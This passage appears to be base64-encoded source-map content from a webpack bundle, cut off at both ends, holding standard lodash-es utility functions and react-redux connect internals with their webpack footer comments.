qZWN0UHJvdG8uaGFzT3duUHJvcGVydHk7XG5cbi8qKiBVc2VkIHRvIGluZmVyIHRoZSBgT2JqZWN0YCBjb25zdHJ1Y3Rvci4gKi9cbnZhciBvYmplY3RDdG9yU3RyaW5nID0gZnVuY1RvU3RyaW5nLmNhbGwoT2JqZWN0KTtcblxuLyoqXG4gKiBDaGVja3MgaWYgYHZhbHVlYCBpcyBhIHBsYWluIG9iamVjdCwgdGhhdCBpcywgYW4gb2JqZWN0IGNyZWF0ZWQgYnkgdGhlXG4gKiBgT2JqZWN0YCBjb25zdHJ1Y3RvciBvciBvbmUgd2l0aCBhIGBbW1Byb3RvdHlwZV1dYCBvZiBgbnVsbGAuXG4gKlxuICogQHN0YXRpY1xuICogQG1lbWJlck9mIF9cbiAqIEBzaW5jZSAwLjguMFxuICogQGNhdGVnb3J5IExhbmdcbiAqIEBwYXJhbSB7Kn0gdmFsdWUgVGhlIHZhbHVlIHRvIGNoZWNrLlxuICogQHJldHVybnMge2Jvb2xlYW59IFJldHVybnMgYHRydWVgIGlmIGB2YWx1ZWAgaXMgYSBwbGFpbiBvYmplY3QsIGVsc2UgYGZhbHNlYC5cbiAqIEBleGFtcGxlXG4gKlxuICogZnVuY3Rpb24gRm9vKCkge1xuICogICB0aGlzLmEgPSAxO1xuICogfVxuICpcbiAqIF8uaXNQbGFpbk9iamVjdChuZXcgRm9vKTtcbiAqIC8vID0+IGZhbHNlXG4gKlxuICogXy5pc1BsYWluT2JqZWN0KFsxLCAyLCAzXSk7XG4gKiAvLyA9PiBmYWxzZVxuICpcbiAqIF8uaXNQbGFpbk9iamVjdCh7ICd4JzogMCwgJ3knOiAwIH0pO1xuICogLy8gPT4gdHJ1ZVxuICpcbiAqIF8uaXNQbGFpbk9iamVjdChPYmplY3QuY3JlYXRlKG51bGwpKTtcbiAqIC8vID0+IHRydWVcbiAqL1xuZnVuY3Rpb24gaXNQbGFpbk9iamVjdCh2YWx1ZSkge1xuICBpZiAoIWlzT2JqZWN0TGlrZSh2YWx1ZSkgfHwgYmFzZUdldFRhZyh2YWx1ZSkgIT0gb2JqZWN0VGFnKSB7XG4gICAgcmV0dXJuIGZhbHNlO1xuICB9XG4gIHZhciBwcm90byA9IGdldFByb3RvdHlwZSh2YWx1ZSk7XG4gIGlmIChwcm90byA9PT0gbnVsbCkge1xuICAgIHJldHVybiB0cnVlO1xuICB9XG4gIHZhciBDdG9yID0gaGFzT3duUHJvcGVydHkuY2FsbChwcm90bywgJ2NvbnN0cnVjdG9yJykgJiYgcHJvdG8uY29uc3RydWN0b3I7XG4gIHJldHVybiB0eXBlb2YgQ3RvciA9PSAnZnVuY3Rpb24nICYmIEN0b3IgaW5zdGFuY2VvZiBDdG9yICYmXG4gICAgZnVuY1RvU3RyaW5nLmNhbGwoQ3RvcikgPT0gb2JqZWN0Q3RvclN0cmluZztcbn1cblxuZXhwb3J0IGRlZmF1bHQgaXNQbGFpbk9iamVjdDtcblxuXG5cbi8vLy8vLy8vLy8vLy8vLy8vL1xuLy8gV0VCUEFDSyBGT09URVJcbi8vIC4vbm9kZV9tb2R1bGVzL2xvZGFzaC1lcy9pc1BsYWluT2JqZWN0LmpzXG4vLyBtb2R1bGUgaWQgPSAxMjZcbi8vIG1vZHVsZSBjaHVua3MgPSAwIDEgMiAzIDQiLCJpbXBvcnQgU3ltYm9sIGZyb20gJy4vX1N5bWJvbC5qcyc7XG5pbXBvcnQgZ2V0UmF3VGFnIGZyb20gJy4vX2dldFJhd1RhZy5qcyc7XG5pbXBvcnQgb2JqZWN0VG9TdHJpbmcgZnJvbSAnLi9fb2JqZWN0VG9TdHJpbmcuanMnO1xuXG4vKiogYE9iamVjdCN0b1N0cmluZ2AgcmVzdWx0IHJlZmVyZW5jZXMuICovXG52YXIgbnVsbFRhZyA9ICdbb2JqZWN0IE51bGxdJyxcbiAgICB1bmRlZmluZWRUYWcgPSAnW29iamVjdCBVbmRlZmluZWRdJztcblxuLyoqIEJ1aWx0LWluIHZhbHVlIHJlZmVyZW5jZXMuICovXG52YXIgc3ltVG9TdHJpbmdUYWcgPSBTeW1ib2wgPyBTeW1ib2wudG9TdHJpbmdUYWcgOiB1bmRlZmluZWQ7XG5cbi8qKlxuICogVGhlIGJhc2UgaW1wbGVtZW50YXRpb24gb2YgYGdldFRhZ2Agd2l0aG91dCBmYWxsYmFja3MgZm9yIGJ1Z2d5IGVudmlyb25tZW50cy5cbiAqXG4gKiBAcHJpdmF0ZVxuICogQHBhcmFtIHsqfSB2YWx1ZSBUaGUgdmFsdWUgdG8gcXVlcnkuXG4gKiBAcmV0dXJucyB7c3RyaW5nfSBSZXR1cm5zIHRoZSBgdG9TdHJpbmdUYWdgLlxuICovXG5mdW5jdGlvbiBiYXNlR2V0VGFnKHZhbHVlKSB7XG4gIGlmICh2YWx1ZSA9PSBudWxsKSB7XG4gICAgcmV0dXJuIHZhbHVlID09PSB1bmRlZmluZWQgPyB1bmRlZmluZWRUYWcgOiBudWxsVGFnO1xuICB9XG4gIHJldHVybiAoc3ltVG9TdHJpbmdUYWcgJiYgc3ltVG9TdHJpbmdUYWcgaW4gT2JqZWN0KHZhbHVlKSlcbiAgICA/IGdldFJhd1RhZyh2YWx1ZSlcbiAgICA6IG9iamVjdFRvU3RyaW5nKHZhbHVlKTtcbn1cblxuZXhwb3J0IGRlZmF1bHQgYmFzZUdldFRhZztcblxuXG5cbi8vLy8vLy8vLy8vLy8vLy8vL1xuLy8gV0VCUEFDSyBGT09URVJcbi8vIC4vbm9kZV9tb2R1bGVzL2xvZGFzaC1lcy9fYmFzZUdldFRhZy5qc1xuLy8gbW9kdWxlIGlkID0gMTI3XG4vLyBtb2R1bGUgY2h1bmtzID0gMCAxIDIgMyA0IiwiaW1wb3J0IGZyZWVHbG9iYWwgZnJvbSAnLi9fZnJlZUdsb2JhbC5qcyc7XG5cbi8qKiBEZXRlY3QgZnJlZSB2YXJpYWJsZSBgc2VsZmAuICovXG52YXIgZnJlZVNlbGYgPSB0eXBlb2Ygc2VsZiA9PSAnb2JqZWN0JyAmJiBzZWxmICYmIHNlbGYuT2JqZWN0ID09PSBPYmplY3QgJiYgc2VsZjtcblxuLyoqIFVzZWQgYXMgYSByZWZlcmVuY2UgdG8gdGhlIGdsb2JhbCBvYmplY3QuICovXG52YXIgcm9vdCA9IGZyZWVHbG9iYWwgfHwgZnJlZVNlbGYgfHwgRnVuY3Rpb24oJ3JldHVybiB0aGlzJykoKTtcblxuZXhwb3J0IGRlZmF1bHQgcm9vdDtcblxuXG5cbi8vLy8vLy8vLy8vLy8vLy8vL1xuLy8gV0VCUEFDSyBGT09URVJcbi8vIC4vbm9kZV9tb2R1bGVzL2xvZGFzaC1lcy9fcm9vdC5qc1xuLy8gbW9kdWxlIGlkID0gMTI4XG4vLyBtb2R1bGUgY2h1bmtzID0gMCAxIDIgMyA0IiwiLyoqIERldGVjdCBmcmVlIHZhcmlhYmxlIGBnbG9iYWxgIGZyb20gTm9kZS5qcy4gKi9cbnZhciBmcmVlR2xvYmFsID0gdHlwZW9mIGdsb2JhbCA9PSAnb2JqZWN0JyAmJiBnbG9iYWwgJiYgZ2xvYmFsLk9iamVjdCA9PT0gT2JqZWN0ICYmIGdsb2JhbDtcblxuZXhwb3J0IGRlZmF1bHQgZnJlZUdsb2JhbDtcblxuXG5cbi8vLy8vLy8vLy8vLy8vLy8vL1xuLy8gV0VCUEFDSyBGT09URVJcbi8vIC4vbm9kZV9tb2R1bGVzL2xvZGFzaC1lcy9fZnJlZUdsb2JhbC5qc1xuLy8gbW9kdWxlIGlkID0gMTI5XG4vLyBtb2R1bGUgY2h1bmtzID0gMCAxIDIgMyA0IiwiaW1wb3J0IFN5bWJvbCBmcm9tICcuL19TeW1ib2wuanMnO1xuXG4vKiogVXNlZCBmb3IgYnVpbHQtaW4gbWV0aG9kIHJlZmVyZW5jZXMuICovXG52YXIgb2JqZWN0UHJvdG8gPSBPYmplY3QucHJvdG90eXBlO1xuXG4vKiogVXNlZCB0byBjaGVjayBvYmplY3RzIGZvciBvd24gcHJvcGVydGllcy4gKi9cbnZhciBoYXNPd25Qcm9wZXJ0eSA9IG9iamVjdFByb3RvLmhhc093blByb3BlcnR5O1xuXG4vKipcbiAqIFVzZWQgdG8gcmVzb2x2ZSB0aGVcbiAqIFtgdG9TdHJpbmdUYWdgXShodHRwOi8vZWNtYS1pbnRlcm5hdGlvbmFsLm9yZy9lY21hLTI2Mi83LjAvI3NlYy1vYmplY3QucHJvdG90eXBlLnRvc3RyaW5nKVxuICogb2YgdmFsdWVzLlxuICovXG52YXIgbmF0aXZlT2JqZWN0VG9TdHJpbmcgPSBvYmplY3RQcm90by50b1N0cmluZztcblxuLyoqIEJ1aWx0LWluIHZhbHVlIHJlZmVyZW5jZXMuICovXG52YXIgc3ltVG9TdHJpbmdUYWcgPSBTeW1ib2wgPyBTeW1ib2wudG9TdHJpbmdUYWcgOiB1bmRlZmluZWQ7XG5cbi8qKlxuICogQSBzcGVjaWFsaXplZCB2ZXJzaW9uIG9mIGBiYXNlR2V0VGFnYCB3aGljaCBpZ25vcmVzIGBTeW1ib2wudG9TdHJpbmdUYWdgIHZhbHVlcy5cbiAqXG4gKiBAcHJpdmF0ZVxuICogQHBhcmFtIHsqfSB2YWx1ZSBUaGUgdmFsdWUgdG8gcXVlcnkuXG4gKiBAcmV0dXJucyB7c3RyaW5nfSBSZXR1cm5zIHRoZSByYXcgYHRvU3RyaW5nVGFnYC5cbiAqL1xuZnVuY3Rpb24gZ2V0UmF3VGFnKHZhbHVlKSB7XG4gIHZhciBpc093biA9IGhhc093blByb3BlcnR5LmNhbGwodmFsdWUsIHN5bVRvU3RyaW5nVGFnKSxcbiAgICAgIHRhZyA9IHZhbHVlW3N5bVRvU3RyaW5nVGFnXTtcblxuICB0cnkge1xuICAgIHZhbHVlW3N5bVRvU3RyaW5nVGFnXSA9IHVuZGVmaW5lZDtcbiAgICB2YXIgdW5tYXNrZWQgPSB0cnVlO1xuICB9IGNhdGNoIChlKSB7fVxuXG4gIHZhciByZXN1bHQgPSBuYXRpdmVPYmplY3RUb1N0cmluZy5jYWxsKHZhbHVlKTtcbiAgaWYgKHVubWFza2VkKSB7XG4gICAgaWYgKGlzT3duKSB7XG4gICAgICB2YWx1ZVtzeW1Ub1N0cmluZ1RhZ10gPSB0YWc7XG4gICAgfSBlbHNlIHtcbiAgICAgIGRlbGV0ZSB2YWx1ZVtzeW1Ub1N0cmluZ1RhZ107XG4gICAgfVxuICB9XG4gIHJldHVybiByZXN1bHQ7XG59XG5cbmV4cG9ydCBkZWZhdWx0IGdldFJhd1RhZztcblxuXG5cbi8vLy8vLy8vLy8vLy8vLy8vL1xuLy8gV0VCUEFDSyBGT09URVJcbi8vIC4vbm9kZV9tb2R1bGVzL2xvZGFzaC1lcy9fZ2V0UmF3VGFnLmpzXG4vLyBtb2R1bGUgaWQgPSAxMzBcbi8vIG1vZHVsZSBjaHVua3MgPSAwIDEgMiAzIDQiLCIvKiogVXNlZCBmb3IgYnVpbHQtaW4gbWV0aG9kIHJlZmVyZW5jZXMuICovXG52YXIgb2JqZWN0UHJvdG8gPSBPYmplY3QucHJvdG90eXBlO1xuXG4vKipcbiAqIFVzZWQgdG8gcmVzb2x2ZSB0aGVcbiAqIFtgdG9TdHJpbmdUYWdgXShodHRwOi8vZWNtYS1pbnRlcm5hdGlvbmFsLm9yZy9lY21hLTI2Mi83LjAvI3NlYy1vYmplY3QucHJvdG90eXBlLnRvc3RyaW5nKVxuICogb2YgdmFsdWVzLlxuICovXG52YXIgbmF0aXZlT2JqZWN0VG9TdHJpbmcgPSBvYmplY3RQcm90by50b1N0cmluZztcblxuLyoqXG4gKiBDb252ZXJ0cyBgdmFsdWVgIHRvIGEgc3RyaW5nIHVzaW5nIGBPYmplY3QucHJvdG90eXBlLnRvU3RyaW5nYC5cbiAqXG4gKiBAcHJpdmF0ZVxuICogQHBhcmFtIHsqfSB2YWx1ZSBUaGUgdmFsdWUgdG8gY29udmVydC5cbiAqIEByZXR1cm5zIHtzdHJpbmd9IFJldHVybnMgdGhlIGNvbnZlcnRlZCBzdHJpbmcuXG4gKi9cbmZ1bmN0aW9uIG9iamVjdFRvU3RyaW5nKHZhbHVlKSB7XG4gIHJldHVybiBuYXRpdmVPYmplY3RUb1N0cmluZy5jYWxsKHZhbHVlKTtcbn1cblxuZXhwb3J0IGRlZmF1bHQgb2JqZWN0VG9TdHJpbmc7XG5cblxuXG4vLy8vLy8vLy8vLy8vLy8vLy9cbi8vIFdFQlBBQ0sgRk9PVEVSXG4vLyAuL25vZGVfbW9kdWxlcy9sb2Rhc2gtZXMvX29iamVjdFRvU3RyaW5nLmpzXG4vLyBtb2R1bGUgaWQgPSAxMzFcbi8vIG1vZHVsZSBjaHVua3MgPSAwIDEgMiAzIDQiLCJpbXBvcnQgb3ZlckFyZyBmcm9tICcuL19vdmVyQXJnLmpzJztcblxuLyoqIEJ1aWx0LWluIHZhbHVlIHJlZmVyZW5jZXMuICovXG52YXIgZ2V0UHJvdG90eXBlID0gb3ZlckFyZyhPYmplY3QuZ2V0UHJvdG90eXBlT2YsIE9iamVjdCk7XG5cbmV4cG9ydCBkZWZhdWx0IGdldFByb3RvdHlwZTtcblxuXG5cbi8vLy8vLy8vLy8vLy8vLy8vL1xuLy8gV0VCUEFDSyBGT09URVJcbi8vIC4vbm9kZV9tb2R1bGVzL2xvZGFzaC1lcy9fZ2V0UHJvdG90eXBlLmpzXG4vLyBtb2R1bGUgaWQgPSAxMzJcbi8vIG1vZHVsZSBjaHVua3MgPSAwIDEgMiAzIDQiLCIvKipcbiAqIENyZWF0ZXMgYSB1bmFyeSBmdW5jdGlvbiB0aGF0IGludm9rZXMgYGZ1bmNgIHdpdGggaXRzIGFyZ3VtZW50IHRyYW5zZm9ybWVkLlxuICpcbiAqIEBwcml2YXRlXG4gKiBAcGFyYW0ge0Z1bmN0aW9ufSBmdW5jIFRoZSBmdW5jdGlvbiB0byB3cmFwLlxuICogQHBhcmFtIHtGdW5jdGlvbn0gdHJhbnNmb3JtIFRoZSBhcmd1bWVudCB0cmFuc2Zvcm0uXG4gKiBAcmV0dXJucyB7RnVuY3Rpb259IFJldHVybnMgdGhlIG5ldyBmdW5jdGlvbi5cbiAqL1xuZnVuY3Rpb24gb3ZlckFyZyhmdW5jLCB0cmFuc2Zvcm0pIHtcbiAgcmV0dXJuIGZ1bmN0aW9uKGFyZykge1xuICAgIHJldHVybiBmdW5jKHRyYW5zZm9ybShhcmcpKTtcbiAgfTtcbn1cblxuZXhwb3J0IGRlZmF1bHQgb3ZlckFyZztcblxuXG5cbi8vLy8vLy8vLy8vLy8vLy8vL1xuLy8gV0VCUEFDSyBGT09URVJcbi8vIC4vbm9kZV9tb2R1bGVzL2xvZGFzaC1lcy9fb3ZlckFyZy5qc1xuLy8gbW9kdWxlIGlkID0gMTMzXG4vLyBtb2R1bGUgY2h1bmtzID0gMCAxIDIgMyA0IiwiLyoqXG4gKiBDaGVja3MgaWYgYHZhbHVlYCBpcyBvYmplY3QtbGlrZS4gQSB2YWx1ZSBpcyBvYmplY3QtbGlrZSBpZiBpdCdzIG5vdCBgbnVsbGBcbiAqIGFuZCBoYXMgYSBgdHlwZW9mYCByZXN1bHQgb2YgXCJvYmplY3RcIi5cbiAqXG4gKiBAc3RhdGljXG4gKiBAbWVtYmVyT2YgX1xuICogQHNpbmNlIDQuMC4wXG4gKiBAY2F0ZWdvcnkgTGFuZ1xuICogQHBhcmFtIHsqfSB2YWx1ZSBUaGUgdmFsdWUgdG8gY2hlY2suXG4gKiBAcmV0dXJucyB7Ym9vbGVhbn0gUmV0dXJucyBgdHJ1ZWAgaWYgYHZhbHVlYCBpcyBvYmplY3QtbGlrZSwgZWxzZSBgZmFsc2VgLlxuICogQGV4YW1wbGVcbiAqXG4gKiBfLmlzT2JqZWN0TGlrZSh7fSk7XG4gKiAvLyA9PiB0cnVlXG4gKlxuICogXy5pc09iamVjdExpa2UoWzEsIDIsIDNdKTtcbiAqIC8vID0+IHRydWVcbiAqXG4gKiBfLmlzT2JqZWN0TGlrZShfLm5vb3ApO1xuICogLy8gPT4gZmFsc2VcbiAqXG4gKiBfLmlzT2JqZWN0TGlrZShudWxsKTtcbiAqIC8vID0+IGZhbHNlXG4gKi9cbmZ1bmN0aW9uIGlzT2JqZWN0TGlrZSh2YWx1ZSkge1xuICByZXR1cm4gdmFsdWUgIT0gbnVsbCAmJiB0eXBlb2YgdmFsdWUgPT0gJ29iamVjdCc7XG59XG5cbmV4cG9ydCBkZWZhdWx0IGlzT2JqZWN0TGlrZTtcblxuXG5cbi8vLy8vLy8vLy8vLy8vLy8vL1xuLy8gV0VCUEFDSyBGT09URVJcbi8vIC4vbm9kZV9tb2R1bGVzL2xvZGFzaC1lcy9pc09iamVjdExpa2UuanNcbi8vIG1vZHVsZSBpZCA9IDEzNFxuLy8gbW9kdWxlIGNodW5rcyA9IDAgMSAyIDMgNCIsImltcG9ydCB7IHdyYXBNYXBUb1Byb3BzQ29uc3RhbnQsIHdyYXBNYXBUb1Byb3BzRnVuYyB9IGZyb20gJy4vd3JhcE1hcFRvUHJvcHMnO1xuXG5leHBvcnQgZnVuY3Rpb24gd2hlbk1hcFN0YXRlVG9Qcm9wc0lzRnVuY3Rpb24obWFwU3RhdGVUb1Byb3BzKSB7XG4gIHJldHVybiB0eXBlb2YgbWFwU3RhdGVUb1Byb3BzID09PSAnZnVuY3Rpb24nID8gd3JhcE1hcFRvUHJvcHNGdW5jKG1hcFN0YXRlVG9Qcm9wcywgJ21hcFN0YXRlVG9Qcm9wcycpIDogdW5kZWZpbmVkO1xufVxuXG5leHBvcnQgZnVuY3Rpb24gd2hlbk1hcFN0YXRlVG9Qcm9wc0lzTWlzc2luZyhtYXBTdGF0ZVRvUHJvcHMpIHtcbiAgcmV0dXJuICFtYXBTdGF0ZVRvUHJvcHMgPyB3cmFwTWFwVG9Qcm9wc0NvbnN0YW50KGZ1bmN0aW9uICgpIHtcbiAgICByZXR1cm4ge307XG4gIH0pIDogdW5kZWZpbmVkO1xufVxuXG5leHBvcnQgZGVmYXVsdCBbd2hlbk1hcFN0YXRlVG9Qcm9wc0lzRnVuY3Rpb24sIHdoZW5NYXBTdGF0ZVRvUHJvcHNJc01pc3NpbmddO1xuXG5cbi8vLy8vLy8vLy8vLy8vLy8vL1xuLy8gV0VCUEFDSyBGT09URVJcbi8vIC4vbm9kZV9tb2R1bGVzL3JlYWN0LXJlZHV4L2VzL2Nvbm5lY3QvbWFwU3RhdGVUb1Byb3BzLmpzXG4vLyBtb2R1bGUgaWQgPSAxMzVcbi8vIG1vZHVsZSBjaHVua3MgPSAwIDEgMiAzIDQiLCJ2YXIgX2V4dGVuZHMgPSBPYmplY3QuYXNzaWduIHx8IGZ1bmN0aW9uICh0YXJnZXQpIHsgZm9yICh2YXIgaSA9IDE7IGkgPCBhcmd1bWVudHMubGVuZ3RoOyBpKyspIHsgdmFyIHNvdXJjZSA9IGFyZ3VtZW50c1tpXTsgZm9yICh2YXIga2V5IGluIHNvdXJjZSkgeyBpZiAoT2JqZWN0LnByb3RvdHlwZS5oYXNPd25Qcm9wZXJ0eS5jYWxsKHNvdXJjZSwga2V5KSkgeyB0YXJnZXRba2V5XSA9IHNvdXJjZVtrZXldOyB9IH0gfSByZXR1cm4gdGFyZ2V0OyB9O1xuXG5pbXBvcnQgdmVyaWZ5UGxhaW5PYmplY3QgZnJvbSAnLi4vdXRpbHMvdmVyaWZ5UGxhaW5PYmplY3QnO1xuXG5leHBvcnQgZnVuY3Rpb24gZGVmYXVsdE1lcmdlUHJvcHMoc3RhdGVQcm9wcywgZGlzcGF0Y2hQcm9wcywgb3duUHJvcHMpIHtcbiAgcmV0dXJuIF9leHRlbmRzKHt9LCBvd25Qcm9wcywgc3RhdGVQcm9wcywgZGlzcGF0Y2hQcm9wcyk7XG59XG5cbmV4cG9ydCBmdW5jdGlvbiB3cmFwTWVyZ2VQcm9wc0Z1bmMobWVyZ2VQcm9wcykge1xuICByZXR1cm4gZnVuY3Rpb24gaW5pdE1lcmdlUHJvcHNQcm94eShkaXNwYXRjaCwgX3JlZikge1xuICAgIHZhciBkaXNwbGF5TmFtZSA9IF9yZWYuZGlzcGxheU5hbWUsXG4gICAgICAgIHB1cmUgPSBfcmVmLnB1cmUsXG4gICAgICAgIGFyZU1lcmdlZFByb3BzRXF1YWwgPSBfcmVmLmFyZU1lcmdlZFByb3BzRXF1YWw7XG5cbiAgICB2YXIgaGFzUnVuT25jZSA9IGZhbHNlO1xuICAgIHZhciBtZXJnZWRQcm9wcyA9IHZvaWQgMDtcblxuICAgIHJldHVybiBmdW5jdGlvbiBtZXJnZVByb3BzUHJveHkoc3RhdGVQcm9wcywgZGlzcGF0Y2hQcm9wcywgb3duUHJvcHMpIHtcbiAgICAgIHZhciBuZXh0TWVyZ2VkUHJvcHMgPSBtZXJnZVByb3BzKHN0YXRlUHJvcHMsIGRpc3BhdGNoUHJvcHMsIG93blByb3BzKTtcblxuICAgICAgaWYgKGhhc1J1bk9uY2UpIHtcbiAgICAgICAgaWYgKCFwdXJlIHx8ICFhcmVNZXJnZWRQcm9wc0VxdWFsKG5leHRNZXJnZWRQcm9wcywgbWVyZ2VkUHJvcHMpKSBtZXJnZWRQcm9wcyA9IG5leHRNZXJnZWRQcm9wcztcbiAgICAgIH0gZWxzZSB7XG4gICAgICAgIGhhc1J1bk9uY2UgPSB0cnVlO1xuICAgICAgICBtZXJnZWRQcm9wcyA9IG5leHRNZXJnZWRQcm9wcztcblxuICAgICAgICBpZiAocHJvY2Vzcy5lbnYuTk9ERV9FTlYgIT09ICdwcm9kdWN0aW9uJykgdmVyaWZ5UGxhaW5PYmplY3QobWVyZ2VkUHJvcHMsIGRpc3BsYXlOYW1lLCAnbWVyZ2VQcm9wcycpO1xuICAgICAgfVxuXG4gICAgICByZXR1cm4gbWVyZ2VkUHJvcHM7XG4gICAgfTtcbiAgfTtcbn1cblxuZXhwb3J0IGZ1bmN0aW9uIHdoZW5NZXJnZVByb3BzSXNGdW5jdGlvbihtZXJnZVByb3BzKSB7XG4gIHJldHVybiB0eXBlb2YgbWVyZ2VQcm9wcyA9PT0gJ2Z1bmN0aW9uJyA/IHdyYXBNZXJnZVByb3BzRnVuYyhtZXJnZVByb3BzKSA6IHVuZGVmaW5lZDtcbn1cblxuZXhwb3J0IGZ1bmN0aW9uIHdoZW5NZXJnZVByb3BzSXNPbWl0dGVkKG1lcmdlUHJvcHMpIHtcbiAgcmV0dXJuICFtZXJnZVByb3BzID8gZnVuY3Rpb24gKCkge1xuICAgIHJldHVybiBkZWZhdWx0TWVyZ2VQcm9wcztcbiAgfSA6IHVuZGVmaW5lZDtcbn1cblxuZXhwb3J0IGRlZmF1bHQgW3doZW5NZXJnZVByb3BzSXNGdW5jdGlvbiwgd2hlbk1lcmdlUHJvcHNJc09taXR0ZWRdO1xuXG5cbi8vLy8vLy8vLy8vLy8vLy8vL1xuLy8gV0VCUEFDSyBGT09URVJcbi8vIC4vbm9kZV9tb2R1bGVzL3JlYWN0LXJlZHV4L2VzL2Nvbm5lY3QvbWVyZ2VQcm9wcy5qc1xuLy8gbW9kdWxlIGlkID0gMTM2XG4vLyBtb2R1bGUgY2h1bmtzID0gMCAxIDIgMyA0IiwiZnVuY3Rpb24gX29iamVjdFdpdGhvdXRQcm9wZXJ0aWVzKG9iaiwga2V5cykgeyB2YXIgdGFyZ2V0ID0ge307IGZvciAodmFyIGkgaW4gb2JqKSB7IGlmIChrZXlzLmluZGV4T2YoaSkgPj0gMCkgY29udGludWU7IGlmICghT2JqZWN0LnByb3RvdHlwZS5oYXNPd25Qcm9wZXJ0eS5jYWxsKG9iaiwgaSkpIGNvbnRpbnVlOyB0YXJnZXRbaV0gPSBvYmpbaV07IH0gcmV0dXJuIHRhcmdldDsgfVxuXG5pbXBvcnQgdmVyaWZ5U3Vic2VsZWN0b3JzIGZyb20gJy4vdmVyaWZ5U3Vic2VsZWN0b3JzJztcblxuZXhwb3J0IGZ1bmN0aW9uIGltcHVyZUZpbmFsUHJvcHNTZWxlY3RvckZhY3RvcnkobWFwU3RhdGVUb1Byb3BzLCBtYXBEaXNwYXRjaFRvUHJvcHMsIG1lcmdlUHJvcHMsIGRpc3BhdGNoKSB7XG4gIHJldHVybiBmdW5jdGlvbiBpbXB1cmVGaW5hbFByb3BzU2VsZWN0b3Ioc3RhdGUsIG93blByb3BzKSB7XG4gICAgcmV0dXJuIG1lcmdlUHJvcHMobWFwU3RhdGVUb1Byb3BzKHN0YXRlLCBvd25Qcm9wcyksIG1hcERpc3BhdGNoVG9Qcm9wcyhkaXNwYXRjaCwgb3duUHJvcHMpLCBvd25Qcm9wcyk7XG4gIH07XG59XG5cbmV4cG9ydCBmdW5jdGlvbiBwdXJlRmluYWxQcm9wc1NlbGVjdG9yRmFjdG9yeShtYXBTdGF0ZVRvUHJvcHMsIG1hcERpc3BhdGNoVG9Qcm9wcywgbWVyZ2VQcm9wcywgZGlzcGF0Y2gsIF9yZWYpIHtcbiAgdmFyIGFyZVN0YXRlc0VxdWFsID0gX3JlZi5hcmVTdGF0ZXNFcXVhbCxcbiAgICAgIGFyZU93blByb3BzRXF1YWwgPSBfcmVmLmFyZU93blByb3BzRXF1YWwsXG4gICAgICBhcmVTdGF0ZVByb3BzRXF1YWwgPSBfcmVmLmFyZVN0YXRlUHJvcHNFcXVhbDtcblxuICB2YXIgaGFzUnVuQXRMZWFzdE9uY2UgPSBmYWxzZTtcbiAgdmFyIHN0YXRlID0gdm9pZCAwO1xuICB2YXIgb3duUHJvcHMgPSB2b2lkIDA7XG4gIHZhciBzdGF0ZVByb3BzID0gdm9pZCAwO1xuICB2YXIgZGlzcGF0Y2hQcm9wcyA9IHZvaWQgMDtcbiAgdmFyIG1lcmdlZFByb3BzID0gdm9pZCAwO1xuXG4gIGZ1bmN0aW9uIGhhbmRsZUZpcnN0Q2FsbChmaXJzdFN0YXRlLCBmaXJzdE93blByb3BzKSB7XG4gICAgc3RhdGUgPSBmaXJzdFN0YXRlO1xuICAgIG93blByb3BzID0gZmlyc3RPd25Qcm9wcztcbiAgICBzdGF0ZVByb3BzID0gbWFwU3RhdGVUb1Byb3BzKHN0YXRlLCBvd25Qcm9wcyk7XG4gICAgZGlzcGF0Y2hQcm9wcyA9IG1hcERpc3BhdGNoVG9Qcm9wcyhkaXNwYXRjaCwgb3duUHJvcHMpO1xuICAgIG1lcmdlZFByb3BzID0gbWVyZ2VQcm9wcyhzdGF0ZVByb3BzLCBkaXNwYXRjaFByb3BzLCBvd25Qcm9wcyk7XG4gICAgaGFzUnVuQXRMZWFzdE9uY2UgPSB0cnVlO1xuICAgIHJldHVybiBtZXJnZWRQcm9wcztcbiAgfVxuXG4gIGZ1bmN0aW9uIGhhbmRsZU5ld1Byb3BzQW5kTmV3U3RhdGUoKSB7XG4gICAgc3RhdGVQcm9wcyA9IG1hcFN0YXRlVG9Qcm9wcyhzdGF0ZSwgb3duUHJvcHMpO1xuXG4gICAgaWYgKG1hcERpc3BhdGNoVG9Qcm9wcy5kZXBlbmRzT25Pd25Qcm9wcykgZGlzcGF0Y2hQcm9wcyA9IG1hcERpc3BhdGNoVG9Qcm9wcyhkaXNwYXRjaCwgb3duUHJvcHMpO1xuXG4gICAgbWVyZ2VkUHJvcHMgPSBtZXJnZVByb3BzKHN0YXRlUHJvcHMsIGRpc3BhdGNoUHJvcHMsIG93blByb3BzKTtcbiAgICByZXR1cm4gbWVyZ2VkUHJvcHM7XG4gIH1cblxuICBmdW5jdGlvbiBoYW5kbGVOZXdQcm9wcygpIHtcbiAgICBpZiAobWFwU3RhdGVUb1Byb3BzLmRlcGVuZHNPbk93blByb3BzKSBzdGF0ZVByb3BzID0gbWFwU3RhdGVUb1Byb3BzKHN0YXRlLCBvd25Qcm9wcyk7XG5cbiAgICBpZiAobWFwRGlzcGF0Y2hUb1Byb3BzLmRlcGVuZHNPbk93blByb3BzKSBkaXNwYXRjaFByb3BzID0gbWFwRGlzcGF0Y2hUb1Byb3BzKGRpc3BhdGNoLCBvd25Qcm9wcyk7XG5cbiAgICBtZXJnZWRQcm9wcyA9IG1lcmdlUHJvcHMoc3RhdGVQcm9wcywgZGlzcGF0Y2hQcm9wcywgb3duUHJvcHMpO1xuICAgIHJldHVybiBtZXJnZWRQcm9wcztcbiAgfVxuXG4gIGZ1bmN0aW9uIGhhbmRsZU5ld1N0YXRlKCkge1xuICAgIHZhciBuZXh0U3RhdGVQcm9wcyA9IG1hcFN0YXRlVG9Qcm9wcyhzdGF0ZSwgb3duUHJvcHMpO1xuICAgIHZhciBzdGF0ZVByb3BzQ2hhbmdlZCA9ICFhcmVTdGF0ZVByb3BzRXF1YWwobmV4dFN0YXRlUHJvcHMsIHN0YXRlUHJvcHMpO1xuICAgIHN0YXRlUHJvcHMgPSBuZXh0U3RhdGVQcm9wcztcblxuICAgIGlmIChzdGF0ZVByb3BzQ2hhbmdlZCkgbWVyZ2VkUHJvcHMgPSBtZXJnZVByb3BzKHN0YXRlUHJvcHMsIGRpc3BhdGNoUHJvcHMsIG93blByb3BzKTtcblxuICAgIHJldHVybiBtZXJnZWRQcm9wcztcbiAgfVxuXG4gIGZ1bmN0aW9uIGhhbmRsZVN1YnNlcXVlbnRDYWxscyhuZXh0U3RhdGUsIG5leHRPd25Qcm9wcykge1xuICAgIHZhciBwcm9wc0NoYW5nZWQgPSAhYXJlT3duUHJvcHNFcXVhbChuZXh0T3duUHJvcHMsIG93blByb3BzKTtcbiAgICB2YXIgc3RhdGVDaGFuZ2VkID0gIWFyZVN0YXRlc0VxdW